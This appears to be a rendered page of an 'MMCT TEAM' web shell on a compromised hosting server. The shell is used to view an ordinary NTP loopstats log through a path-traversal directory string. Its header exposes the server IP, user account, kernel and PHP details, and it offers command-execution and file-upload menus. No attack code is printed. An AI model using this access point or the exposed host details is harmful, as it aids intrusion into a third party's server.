MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.188.63.71
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /mnt/../var/softaculous/modx/../cake/../tinyrss/../presta/../../log/ntpstats/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //mnt/../var/softaculous/modx/../cake/../tinyrss/../presta/../../log/ntpstats/loopstats.20240109
60318 254.938 0.002496177 -46.613 0.001889488 0.186267 10
60318 2360.944 0.002220869 -46.332 0.001770133 0.200582 10
60318 3054.021 0.002147237 -46.327 0.001656012 0.187638 10
60318 5157.021 0.001568343 -46.128 0.001562520 0.189060 10
60318 6680.993 0.000717683 -46.124 0.001492226 0.176855 10
60318 7276.953 0.000463000 -46.123 0.001398751 0.165433 10
60318 9358.021 0.000367111 -46.076 0.001308851 0.155635 10
60318 10400.018 -0.000888597 -46.080 0.001302327 0.145589 10
60318 11458.018 -0.001163843 -46.084 0.001222096 0.136195 10
60318 13582.014 -0.000481949 -46.145 0.001168311 0.129185 10
60318 15661.021 0.000231472 -46.115 0.001121585 0.121295 10
60318 16736.928 -0.000738957 -46.118 0.001103823 0.113466 10
60318 18845.938 -0.000772105 -46.216 0.001032599 0.111605 10
60318 19873.974 -0.001394833 -46.221 0.000990682 0.104414 10
60318 21447.007 -0.000665842 -46.225 0.000961872 0.097680 10
60318 22487.953 0.000442585 -46.223 0.000981389 0.091374 10
60318 24151.019 0.000478850 -46.220 0.000918095 0.085479 10
60318 25196.989 0.000546655 -46.218 0.000859134 0.079962 10
60318 26245.019 0.000583883 -46.216 0.000803754 0.074801 10
60318 26707.031 0.000601870 -46.215 0.000751870 0.069971 10
60318 27327.018 -0.000478759 -46.216 0.000800385 0.065453 10
60318 28374.016 -0.000359152 -46.217 0.000749885 0.061228 10
60318 29404.983 -0.000146344 -46.218 0.000705476 0.057274 10
60318 31503.010 0.000079815 -46.208 0.000664739 0.053694 10
60318 32544.028 -0.002941344 -46.219 0.001235949 0.050388 10
60318 33065.009 -0.003144800 -46.225 0.001158360 0.047183 10
60318 33623.962 0.000653411 -46.224 0.001725507 0.044139 10
60318 35154.975 0.000964721 -46.218 0.001617813 0.041334 10
60318 37260.010 0.000909992 -46.103 0.001513449 0.056148 10
60318 39367.917 0.000658478 -46.020 0.001418492 0.060215 10
60318 40408.010 0.000475302 -46.018 0.001328457 0.056330 10
60318 42491.010 0.000395883 -45.967 0.001242975 0.055644 10
60318 43070.017 0.000930411 -45.965 0.001177955 0.052055 10
60318 44136.017 0.000758967 -45.962 0.001103542 0.048704 10
60318 45659.012 0.000832617 -45.958 0.001032598 0.045590 10
60318 46744.913 0.000462938 -45.956 0.000974709 0.042650 10
60318 48827.932 0.000241572 -45.925 0.000915110 0.041361 10
60318 49889.948 0.000086093 -45.925 0.000857770 0.038690 10
60318 50918.012 0.000905779 -45.921 0.000853103 0.036212 10
60318 52998.015 0.006818937 -45.049 0.002237743 0.310302 10
60318 54037.019 0.006501703 -45.024 0.002096219 0.290397 10
60318 55111.016 -0.005569670 -45.046 0.004696768 0.271756 10
60318 56197.972 -0.005404647 -45.068 0.004393812 0.254322 10
60318 57243.015 -0.005550231 -45.089 0.004110357 0.238019 10
60318 59330.005 -0.006025418 -45.858 0.003848555 0.351313 10
60318 60395.936 -0.005455143 -45.880 0.003605636 0.328712 10
60318 62138.918 -0.003905790 -45.905 0.003416957 0.307613 10
60318 62547.013 -0.003015452 -45.910 0.003211734 0.287750 10
60318 64252.932 -0.002633800 -45.926 0.003007330 0.269230 10
60318 64655.012 -0.002293151 -45.930 0.002815677 0.251845 10
60318 66395.985 -0.002106764 -45.943 0.002634649 0.235629 10
60318 67471.974 -0.001555954 -45.950 0.002472170 0.220422 10
60318 69574.025 -0.001337956 -46.119 0.002313788 0.214722 10
60318 70597.978 -0.001494014 -46.125 0.002165053 0.200864 10
60318 71989.927 -0.000893288 -46.129 0.002036328 0.187898 10
60318 72727.953 -0.000741185 -46.132 0.001905570 0.175764 10
60318 74075.932 -0.000722834 -46.135 0.001782509 0.164417 10
60318 75130.938 -0.000619745 -46.138 0.001667783 0.153801 10
60318 75848.993 -0.000505450 -46.139 0.001560591 0.143868 10
60318 77978.016 0.000173755 -46.117 0.001479419 0.134796 10
60318 78297.013 0.000295899 -46.117 0.001384543 0.126091 10
60318 80083.016 0.000339578 -46.115 0.001295214 0.117950 10
60318 80406.013 0.000101657 -46.114 0.001214478 0.110332 10
60318 82487.997 0.001771929 -45.888 0.001280357 0.130654 10
60318 83237.013 0.001527671 -45.884 0.001200773 0.122225 10
60318 85335.011 0.000952106 -45.763 0.001141505 0.122059 10

MMCT - 2023